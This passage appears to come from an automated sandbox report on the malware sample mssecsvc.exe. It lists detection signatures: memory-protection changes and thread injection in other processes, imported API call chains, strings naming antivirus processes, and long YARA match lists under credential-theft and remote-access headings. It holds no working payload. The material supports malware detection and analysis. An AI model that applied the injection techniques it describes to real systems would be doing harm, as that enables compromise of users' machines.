              Changes memory attributes in foreign processes to executable or writable
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772FA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 772F9670 protect: page execute and read and writeJump to behavior
              Creates a thread in another existing process (thread injection)
              Source: C:\Windows\mssecsvc.exeThread created: unknown EIP: 7FFF3C38Jump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll",#1Jump to behavior
              Source: dwm.exe, 00000015.00000000.472212111.0000024129C21000.00000004.00000001.00020000.00000000.sdmp, dwm.exe, 00000015.00000000.472230333.0000024129C21000.00000004.00000001.00020000.00000000.sdmp, dwm.exe, 00000015.00000002.942083935.0000024129C21000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program Manager
              Source: winlogon.exe, 00000007.00000002.920798778.0000021287470000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000007.00000000.406196384.0000021287470000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000007.00000000.401962965.0000021287470000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
              Source: winlogon.exe, 00000007.00000002.920798778.0000021287470000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000007.00000000.406196384.0000021287470000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000007.00000000.401962965.0000021287470000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
              Source: winlogon.exe, 00000007.00000002.920798778.0000021287470000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000007.00000000.406196384.0000021287470000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000007.00000000.401962965.0000021287470000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
              Source: winlogon.exe, 00000007.00000002.920798778.0000021287470000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000007.00000000.406196384.0000021287470000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000007.00000000.401962965.0000021287470000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: }Program Manager
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C1388E GetSystemTime,Sleep,InternetGetConnectedState,gethostbyname,socket,ioctlsocket,connect,Sleep,closesocket,4_2_00C1388E
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C1042D GetModuleHandleA,GetVersion,VirtualAlloc,FindCloseChangeNotification,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,4_2_00C1042D
              Source: svchost.exe, 0000001C.00000000.511553020.0000029A9BB55000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.920104522.0000029A9BB55000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@\device\harddiskvolume4\program files\windows defender\msmpeng.exe
              Source: svchost.exe, 0000001C.00000000.515972869.0000029A9CABB000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000000.511553020.0000029A9BB55000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000000.515876887.0000029A9CA9C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @\device\harddiskvolume4\program files\windows defender\msmpeng.exe
              Source: svchost.exe, 0000001C.00000002.925216894.0000029A9C552000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000000.514325376.0000029A9C552000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@C:\Program Files\Windows Defender\MsMpEng.exe
              Source: svchost.exe, 0000001C.00000000.512713743.0000029A9C426000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@C:\Program Files\Windows Defender\MsMpEng.exe
              Source: svchost.exe, 0000001C.00000000.512713743.0000029A9C426000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @C:\Program Files\Windows Defender\MsMpEng.exe
              Source: svchost.exe, 0000001C.00000002.925216894.0000029A9C552000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000000.514325376.0000029A9C552000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *@C:\Program Files\Windows Defender\MsMpEng.exe
              Source: mssecsvc.exe, mssecsvc.exe, 00000009.00000000.403073073.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000009.00000002.504932640.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 00000018.00000000.470454037.0000000000410000.00000002.00000001.01000000.00000005.sdmpBinary or memory string: 2\Device\HarddiskVolume2\Windows\ehome\mcupdate.exe
              Source: mssecsvc.exeBinary or memory string: 8\Device\HarddiskVolume2\Program Files\AVG\Av\avgcmgr.exe
              Source: svchost.exe, 0000001C.00000000.512713743.0000029A9C426000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@C:\Program Files\Windows Defender\MsMpEng.exe

              Stealing of Sensitive Information

              barindex
              Yara detected Virut
              Source: Yara matchFile source: 9.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000014.00000000.444706688.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001D.00000000.521239097.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000B.00000000.407337291.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000000.447008515.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000000.428564150.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000027.00000000.594298639.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000023.00000000.548612819.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000000.417592472.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000020.00000002.907099325.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000000.524101903.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001C.00000000.508695935.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.907000562.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000024.00000002.907099183.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000000.444093697.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000000.444118082.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.907202726.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.719911758.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000000.447286424.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.425936763.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000002.907267456.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000000.428543118.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.906977537.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000B.00000000.407376470.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.425952818.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000029.00000000.601999991.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.907132004.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000013.00000000.439459513.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000000.424192487.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.404845718.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000000.534520053.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.404833950.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000002.907094148.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000028.00000002.907171651.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000B.00000002.907093903.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000002.907024100.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000002.907231178.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001D.00000002.907075148.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.425926004.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000000.422185488.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.507719913.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000013.00000000.439079621.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000002.907037913.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.906964407.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001C.00000002.907097807.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000027.00000002.907103078.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.906948155.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000000.424142653.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000000.446996062.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.425785797.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.907098246.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000013.00000000.439510336.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000B.00000002.906964838.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000000.444613597.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000013.00000002.907220434.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000024.00000000.554072792.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000028.00000000.598689820.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.907225598.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000000.447263116.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000002.907067234.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.505527439.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000000.422170960.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000002.907058748.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.398638867.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000000.427843939.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000000.422923156.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000020.00000000.544556070.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000002.907099348.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000000.427869609.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000029.00000002.907190241.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000013.00000000.439025805.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000023.00000002.907099710.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000002.906965552.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000B.00000000.404562278.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000013.00000002.907013443.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 2892, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: winlogon.exe PID: 576, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6120, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: lsass.exe PID: 624, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: fontdrvhost.exe PID: 728, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: fontdrvhost.exe PID: 736, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 744, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 812, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 860, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 904, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: dwm.exe PID: 992, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 372, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 256, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 472, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 696, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1040, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1060, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1172, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1304, type: MEMORYSTR

              Remote Access Functionality

              barindex
              Yara detected Virut
              Source: Yara matchFile source: 9.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000014.00000000.444706688.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001D.00000000.521239097.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000B.00000000.407337291.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000000.447008515.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000000.428564150.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000027.00000000.594298639.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000023.00000000.548612819.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000000.417592472.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000020.00000002.907099325.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000000.524101903.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001C.00000000.508695935.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.907000562.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000024.00000002.907099183.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000000.444093697.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000000.444118082.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.907202726.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.719911758.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000000.447286424.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.425936763.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000002.907267456.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000000.428543118.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.906977537.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000B.00000000.407376470.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.425952818.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000029.00000000.601999991.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.907132004.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000013.00000000.439459513.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000000.424192487.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.404845718.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000000.534520053.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.404833950.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000002.907094148.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000028.00000002.907171651.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000B.00000002.907093903.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000002.907024100.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000002.907231178.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001D.00000002.907075148.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.425926004.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000000.422185488.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
